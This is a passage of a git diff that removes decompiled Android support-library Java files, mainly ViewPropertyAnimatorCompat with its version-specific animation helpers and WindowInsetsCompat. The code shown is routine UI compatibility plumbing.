: null; - if (viewPropertyAnimatorListener != null) { - viewPropertyAnimatorListener.onAnimationCancel(view); - } - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class JBViewPropertyAnimatorCompatImpl extends ICSViewPropertyAnimatorCompatImpl { - JBViewPropertyAnimatorCompatImpl() { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ICSViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void setListener(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, ViewPropertyAnimatorListener viewPropertyAnimatorListener) { - ViewPropertyAnimatorCompatJB.setListener(view, viewPropertyAnimatorListener); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ICSViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void withStartAction(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, Runnable runnable) { - ViewPropertyAnimatorCompatJB.withStartAction(view, runnable); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ICSViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void withEndAction(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, Runnable runnable) { - ViewPropertyAnimatorCompatJB.withEndAction(view, runnable); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.ICSViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void withLayer(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - ViewPropertyAnimatorCompatJB.withLayer(view); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class JBMr2ViewPropertyAnimatorCompatImpl extends JBViewPropertyAnimatorCompatImpl { - JBMr2ViewPropertyAnimatorCompatImpl() { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public Interpolator getInterpolator(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view) { - return ViewPropertyAnimatorCompatJellybeanMr2.getInterpolator(view); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class KitKatViewPropertyAnimatorCompatImpl extends JBMr2ViewPropertyAnimatorCompatImpl { - KitKatViewPropertyAnimatorCompatImpl() { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void setUpdateListener(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, ViewPropertyAnimatorUpdateListener viewPropertyAnimatorUpdateListener) { - ViewPropertyAnimatorCompatKK.setUpdateListener(view, viewPropertyAnimatorUpdateListener); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class LollipopViewPropertyAnimatorCompatImpl extends KitKatViewPropertyAnimatorCompatImpl { - LollipopViewPropertyAnimatorCompatImpl() { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void translationZ(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatLollipop.translationZ(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void translationZBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatLollipop.translationZBy(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void z(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatLollipop.z(view, f); - } - - @Override // android.support.v4.view.ViewPropertyAnimatorCompat.BaseViewPropertyAnimatorCompatImpl, android.support.v4.view.ViewPropertyAnimatorCompat.ViewPropertyAnimatorCompatImpl - public void zBy(ViewPropertyAnimatorCompat viewPropertyAnimatorCompat, View view, float f) { - ViewPropertyAnimatorCompatLollipop.zBy(view, f); - } - } - - public ViewPropertyAnimatorCompat setDuration(long j) { - View view = this.mView.get(); - if (view != null) { - IMPL.setDuration(this, view, j); - } - return this; - } - - public ViewPropertyAnimatorCompat alpha(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.alpha(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat alphaBy(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.alphaBy(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat translationX(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.translationX(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat translationY(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.translationY(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat withEndAction(Runnable runnable) { - View view = this.mView.get(); - if (view != null) { - IMPL.withEndAction(this, view, runnable); - } - return this; - } - - public long getDuration() { - View view = this.mView.get(); - if (view != null) { - return IMPL.getDuration(this, view); - } - return 0L; - } - - public ViewPropertyAnimatorCompat setInterpolator(Interpolator interpolator) { - View view = this.mView.get(); - if (view != null) { - IMPL.setInterpolator(this, view, interpolator); - } - return this; - } - - public Interpolator getInterpolator() { - View view = this.mView.get(); - if (view != null) { - return IMPL.getInterpolator(this, view); - } - return null; - } - - public ViewPropertyAnimatorCompat setStartDelay(long j) { - View view = this.mView.get(); - if (view != null) { - IMPL.setStartDelay(this, view, j); - } - return this; - } - - public long getStartDelay() { - View view = this.mView.get(); - if (view != null) { - return IMPL.getStartDelay(this, view); - } - return 0L; - } - - public ViewPropertyAnimatorCompat rotation(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.rotation(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat rotationBy(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.rotationBy(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat rotationX(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.rotationX(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat rotationXBy(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.rotationXBy(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat rotationY(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.rotationY(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat rotationYBy(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.rotationYBy(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat scaleX(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.scaleX(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat scaleXBy(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.scaleXBy(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat scaleY(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.scaleY(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat scaleYBy(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.scaleYBy(this, view, f); - } - return this; - } - - public void cancel() { - View view = this.mView.get(); - if (view != null) { - IMPL.cancel(this, view); - } - } - - public ViewPropertyAnimatorCompat x(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.x(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat xBy(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.xBy(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat y(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.y(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat yBy(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.yBy(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat translationXBy(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.translationXBy(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat translationYBy(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.translationYBy(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat translationZBy(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.translationZBy(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat translationZ(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.translationZ(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat z(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.z(this, view, f); - } - return this; - } - - public ViewPropertyAnimatorCompat zBy(float f) { - View view = this.mView.get(); - if (view != null) { - IMPL.zBy(this, view, f); - } - return this; - } - - public void start() { - View view = this.mView.get(); - if (view != null) { - IMPL.start(this, view); - } - } - - public ViewPropertyAnimatorCompat withLayer() { - View view = this.mView.get(); - if (view != null) { - IMPL.withLayer(this, view); - } - return this; - } - - public ViewPropertyAnimatorCompat withStartAction(Runnable runnable) { - View view = this.mView.get(); - if (view != null) { - IMPL.withStartAction(this, view, runnable); - } - return this; - } - - public ViewPropertyAnimatorCompat setListener(ViewPropertyAnimatorListener viewPropertyAnimatorListener) { - View view = this.mView.get(); - if (view != null) { - IMPL.setListener(this, view, viewPropertyAnimatorListener); - } - return this; - } - - public ViewPropertyAnimatorCompat setUpdateListener(ViewPropertyAnimatorUpdateListener viewPropertyAnimatorUpdateListener) { - View view = this.mView.get(); - if (view != null) { - IMPL.setUpdateListener(this, view, viewPropertyAnimatorUpdateListener); - } - return this; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatICS.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatICS.java deleted file mode 100644 index 05fc3f7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatICS.java +++ /dev/null @@ -1,142 +0,0 @@ -package android.support.v4.view; - -import android.animation.Animator; -import android.animation.AnimatorListenerAdapter; -import android.view.View; -import android.view.animation.Interpolator; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewPropertyAnimatorCompatICS { - ViewPropertyAnimatorCompatICS() { - } - - public static void setDuration(View view, long j) { - view.animate().setDuration(j); - } - - public static void alpha(View view, float f) { - view.animate().alpha(f); - } - - public static void translationX(View view, float f) { - view.animate().translationX(f); - } - - public static void translationY(View view, float f) { - view.animate().translationY(f); - } - - public static long getDuration(View view) { - return view.animate().getDuration(); - } - - public static void setInterpolator(View view, Interpolator interpolator) { - view.animate().setInterpolator(interpolator); - } - - public static void setStartDelay(View view, long j) { - view.animate().setStartDelay(j); - } - - public static long getStartDelay(View view) { - return view.animate().getStartDelay(); - } - - public static void alphaBy(View view, float f) { - view.animate().alphaBy(f); - } - - public static void rotation(View view, float f) { - view.animate().rotation(f); - } - - public static void rotationBy(View view, float f) { - view.animate().rotationBy(f); - } - - public static void rotationX(View view, float f) { - view.animate().rotationX(f); - } - - public static void rotationXBy(View view, float f) { - view.animate().rotationXBy(f); - } - - public static void rotationY(View view, float f) { - view.animate().rotationY(f); - } - - public static void rotationYBy(View view, float f) { - view.animate().rotationYBy(f); - } - - public static void scaleX(View view, float f) { - view.animate().scaleX(f); - } - - public static void scaleXBy(View view, float f) { - view.animate().scaleXBy(f); - } - - public static void scaleY(View view, float f) { - view.animate().scaleY(f); - } - - public static void scaleYBy(View view, float f) { - view.animate().scaleYBy(f); - } - - public static void cancel(View view) { - view.animate().cancel(); - } - - public static void x(View view, float f) { - view.animate().x(f); - } - - public static void xBy(View view, float f) { - view.animate().xBy(f); - } - - public static void y(View view, float f) { - view.animate().y(f); - } - - public static void yBy(View view, float f) { - view.animate().yBy(f); - } - - public static void translationXBy(View view, float f) { - view.animate().translationXBy(f); - } - - public static void translationYBy(View view, float f) { - view.animate().translationYBy(f); - } - - public static void start(View view) { - view.animate().start(); - } - - public static void setListener(final View view, final ViewPropertyAnimatorListener viewPropertyAnimatorListener) { - if (viewPropertyAnimatorListener != null) { - view.animate().setListener(new AnimatorListenerAdapter() { // from class: android.support.v4.view.ViewPropertyAnimatorCompatICS.1 - @Override // android.animation.AnimatorListenerAdapter, android.animation.Animator.AnimatorListener - public void onAnimationCancel(Animator animator) { - ViewPropertyAnimatorListener.this.onAnimationCancel(view); - } - - @Override // android.animation.AnimatorListenerAdapter, android.animation.Animator.AnimatorListener - public void onAnimationEnd(Animator animator) { - ViewPropertyAnimatorListener.this.onAnimationEnd(view); - } - - @Override // android.animation.AnimatorListenerAdapter, android.animation.Animator.AnimatorListener - public void onAnimationStart(Animator animator) { - ViewPropertyAnimatorListener.this.onAnimationStart(view); - } - }); - } else { - view.animate().setListener(null); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatJB.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatJB.java deleted file mode 100644 index f642904..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatJB.java +++ /dev/null @@ -1,45 +0,0 @@ -package android.support.v4.view; - -import android.animation.Animator; -import android.animation.AnimatorListenerAdapter; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewPropertyAnimatorCompatJB { - ViewPropertyAnimatorCompatJB() { - } - - public static void withStartAction(View view, Runnable runnable) { - view.animate().withStartAction(runnable); - } - - public static void withEndAction(View view, Runnable runnable) { - view.animate().withEndAction(runnable); - } - - public static void withLayer(View view) { - view.animate().withLayer(); - } - - public static void setListener(final View view, final ViewPropertyAnimatorListener viewPropertyAnimatorListener) { - if (viewPropertyAnimatorListener != null) { - view.animate().setListener(new AnimatorListenerAdapter() { // from class: android.support.v4.view.ViewPropertyAnimatorCompatJB.1 - @Override // android.animation.AnimatorListenerAdapter, android.animation.Animator.AnimatorListener - public void onAnimationCancel(Animator animator) { - ViewPropertyAnimatorListener.this.onAnimationCancel(view); - } - - @Override // android.animation.AnimatorListenerAdapter, android.animation.Animator.AnimatorListener - public void onAnimationEnd(Animator animator) { - ViewPropertyAnimatorListener.this.onAnimationEnd(view); - } - - @Override // android.animation.AnimatorListenerAdapter, android.animation.Animator.AnimatorListener - public void onAnimationStart(Animator animator) { - ViewPropertyAnimatorListener.this.onAnimationStart(view); - } - }); - } else { - view.animate().setListener(null); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatJellybeanMr2.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatJellybeanMr2.java deleted file mode 100644 index d670b5a..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatJellybeanMr2.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -import android.view.animation.Interpolator; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewPropertyAnimatorCompatJellybeanMr2 { - ViewPropertyAnimatorCompatJellybeanMr2() { - } - - public static Interpolator getInterpolator(View view) { - return (Interpolator) view.animate().getInterpolator(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatKK.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatKK.java deleted file mode 100644 index 3e422e4..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatKK.java +++ /dev/null @@ -1,18 +0,0 @@ -package android.support.v4.view; - -import android.animation.ValueAnimator; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewPropertyAnimatorCompatKK { - ViewPropertyAnimatorCompatKK() { - } - - public static void setUpdateListener(final View view, final ViewPropertyAnimatorUpdateListener viewPropertyAnimatorUpdateListener) { - view.animate().setUpdateListener(viewPropertyAnimatorUpdateListener != null ? new ValueAnimator.AnimatorUpdateListener() { // from class: android.support.v4.view.ViewPropertyAnimatorCompatKK.1 - @Override // android.animation.ValueAnimator.AnimatorUpdateListener - public void onAnimationUpdate(ValueAnimator valueAnimator) { - ViewPropertyAnimatorUpdateListener.this.onAnimationUpdate(view); - } - } : null); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatLollipop.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatLollipop.java deleted file mode 100644 index ad13e13..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorCompatLollipop.java +++ /dev/null @@ -1,24 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewPropertyAnimatorCompatLollipop { - ViewPropertyAnimatorCompatLollipop() { - } - - public static void translationZ(View view, float f) { - view.animate().translationZ(f); - } - - public static void translationZBy(View view, float f) { - view.animate().translationZBy(f); - } - - public static void z(View view, float f) { - view.animate().z(f); - } - - public static void zBy(View view, float f) { - view.animate().zBy(f); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorListener.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorListener.java deleted file mode 100644 index 4931b01..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorListener.java +++ /dev/null @@ -1,11 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface ViewPropertyAnimatorListener { - void onAnimationCancel(View view); - - void onAnimationEnd(View view); - - void onAnimationStart(View view); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorListenerAdapter.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorListenerAdapter.java deleted file mode 100644 index 6e394f5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorListenerAdapter.java +++ /dev/null @@ -1,17 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ViewPropertyAnimatorListenerAdapter implements ViewPropertyAnimatorListener { - @Override // android.support.v4.view.ViewPropertyAnimatorListener - public void onAnimationCancel(View view) { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorListener - public void onAnimationEnd(View view) { - } - - @Override // android.support.v4.view.ViewPropertyAnimatorListener - public void onAnimationStart(View view) { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorUpdateListener.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorUpdateListener.java deleted file mode 100644 index d8fd389..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPropertyAnimatorUpdateListener.java +++ /dev/null @@ -1,7 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface ViewPropertyAnimatorUpdateListener { - void onAnimationUpdate(View view); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/WindowCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/WindowCompat.java deleted file mode 100644 index e472579..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/WindowCompat.java +++ /dev/null @@ -1,10 +0,0 @@ -package android.support.v4.view; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class WindowCompat { - public static final int FEATURE_ACTION_BAR = 8; - public static final int FEATURE_ACTION_BAR_OVERLAY = 9; - public static final int FEATURE_ACTION_MODE_OVERLAY = 10; - - private WindowCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/WindowInsetsCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/WindowInsetsCompat.java deleted file mode 100644 index 3b37af3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/WindowInsetsCompat.java +++ /dev/null @@ -1,357 +0,0 @@ -package android.support.v4.view; - -import android.graphics.Rect; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class WindowInsetsCompat { - private static final WindowInsetsCompatImpl IMPL = new WindowInsetsCompatApi21Impl(); - private final Object mInsets; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private interface WindowInsetsCompatImpl { - WindowInsetsCompat consumeStableInsets(Object obj); - - WindowInsetsCompat consumeSystemWindowInsets(Object obj); - - Object getSourceWindowInsets(Object obj); - - int getStableInsetBottom(Object obj); - - int getStableInsetLeft(Object obj); - - int getStableInsetRight(Object obj); - - int getStableInsetTop(Object obj); - - int getSystemWindowInsetBottom(Object obj); - - int getSystemWindowInsetLeft(Object obj); - - int getSystemWindowInsetRight(Object obj); - - int getSystemWindowInsetTop(Object obj); - - boolean hasInsets(Object obj); - - boolean hasStableInsets(Object obj); - - boolean hasSystemWindowInsets(Object obj); - - boolean isConsumed(Object obj); - - boolean isRound(Object obj); - - WindowInsetsCompat replaceSystemWindowInsets(Object obj, int i, int i2, int i3, int i4); - - WindowInsetsCompat replaceSystemWindowInsets(Object obj, Rect rect); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class WindowInsetsCompatBaseImpl implements WindowInsetsCompatImpl { - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public WindowInsetsCompat consumeStableInsets(Object obj) { - return null; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public WindowInsetsCompat consumeSystemWindowInsets(Object obj) { - return null; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public Object getSourceWindowInsets(Object obj) { - return null; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getStableInsetBottom(Object obj) { - return 0; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getStableInsetLeft(Object obj) { - return 0; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getStableInsetRight(Object obj) { - return 0; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getStableInsetTop(Object obj) { - return 0; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getSystemWindowInsetBottom(Object obj) { - return 0; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getSystemWindowInsetLeft(Object obj) { - return 0; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getSystemWindowInsetRight(Object obj) { - return 0; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getSystemWindowInsetTop(Object obj) { - return 0; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public boolean hasInsets(Object obj) { - return false; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public boolean hasStableInsets(Object obj) { - return false; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public boolean hasSystemWindowInsets(Object obj) { - return false; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public boolean isConsumed(Object obj) { - return false; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public boolean isRound(Object obj) { - return false; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public WindowInsetsCompat replaceSystemWindowInsets(Object obj, int i, int i2, int i3, int i4) { - return null; - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public WindowInsetsCompat replaceSystemWindowInsets(Object obj, Rect rect) { - return null; - } - - WindowInsetsCompatBaseImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class WindowInsetsCompatApi20Impl extends WindowInsetsCompatBaseImpl { - WindowInsetsCompatApi20Impl() { - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public WindowInsetsCompat consumeSystemWindowInsets(Object obj) { - return new WindowInsetsCompat(WindowInsetsCompatApi20.consumeSystemWindowInsets(obj)); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getSystemWindowInsetBottom(Object obj) { - return WindowInsetsCompatApi20.getSystemWindowInsetBottom(obj); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getSystemWindowInsetLeft(Object obj) { - return WindowInsetsCompatApi20.getSystemWindowInsetLeft(obj); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getSystemWindowInsetRight(Object obj) { - return WindowInsetsCompatApi20.getSystemWindowInsetRight(obj); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getSystemWindowInsetTop(Object obj) { - return WindowInsetsCompatApi20.getSystemWindowInsetTop(obj); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public boolean hasInsets(Object obj) { - return WindowInsetsCompatApi20.hasInsets(obj); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public boolean hasSystemWindowInsets(Object obj) { - return WindowInsetsCompatApi20.hasSystemWindowInsets(obj); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public boolean isRound(Object obj) { - return WindowInsetsCompatApi20.isRound(obj); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public WindowInsetsCompat replaceSystemWindowInsets(Object obj, int i, int i2, int i3, int i4) { - return new WindowInsetsCompat(WindowInsetsCompatApi20.replaceSystemWindowInsets(obj, i, i2, i3, i4)); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public Object getSourceWindowInsets(Object obj) { - return WindowInsetsCompatApi20.getSourceWindowInsets(obj); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class WindowInsetsCompatApi21Impl extends WindowInsetsCompatApi20Impl { - WindowInsetsCompatApi21Impl() { - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public WindowInsetsCompat consumeStableInsets(Object obj) { - return new WindowInsetsCompat(WindowInsetsCompatApi21.consumeStableInsets(obj)); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getStableInsetBottom(Object obj) { - return WindowInsetsCompatApi21.getStableInsetBottom(obj); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getStableInsetLeft(Object obj) { - return WindowInsetsCompatApi21.getStableInsetLeft(obj); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getStableInsetRight(Object obj) { - return WindowInsetsCompatApi21.getStableInsetRight(obj); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public int getStableInsetTop(Object obj) { - return WindowInsetsCompatApi21.getStableInsetTop(obj); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public boolean hasStableInsets(Object obj) { - return WindowInsetsCompatApi21.hasStableInsets(obj); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public boolean isConsumed(Object obj) { - return WindowInsetsCompatApi21.isConsumed(obj); - } - - @Override // android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatBaseImpl, android.support.v4.view.WindowInsetsCompat.WindowInsetsCompatImpl - public WindowInsetsCompat replaceSystemWindowInsets(Object obj, Rect rect) { - return new WindowInsetsCompat(WindowInsetsCompatApi21.replaceSystemWindowInsets(obj, rect)); - } - } - - WindowInsetsCompat(Object obj) { - this.mInsets = obj; - } - - public WindowInsetsCompat(WindowInsetsCompat windowInsetsCompat) { - this.mInsets = windowInsetsCompat == null ? null : 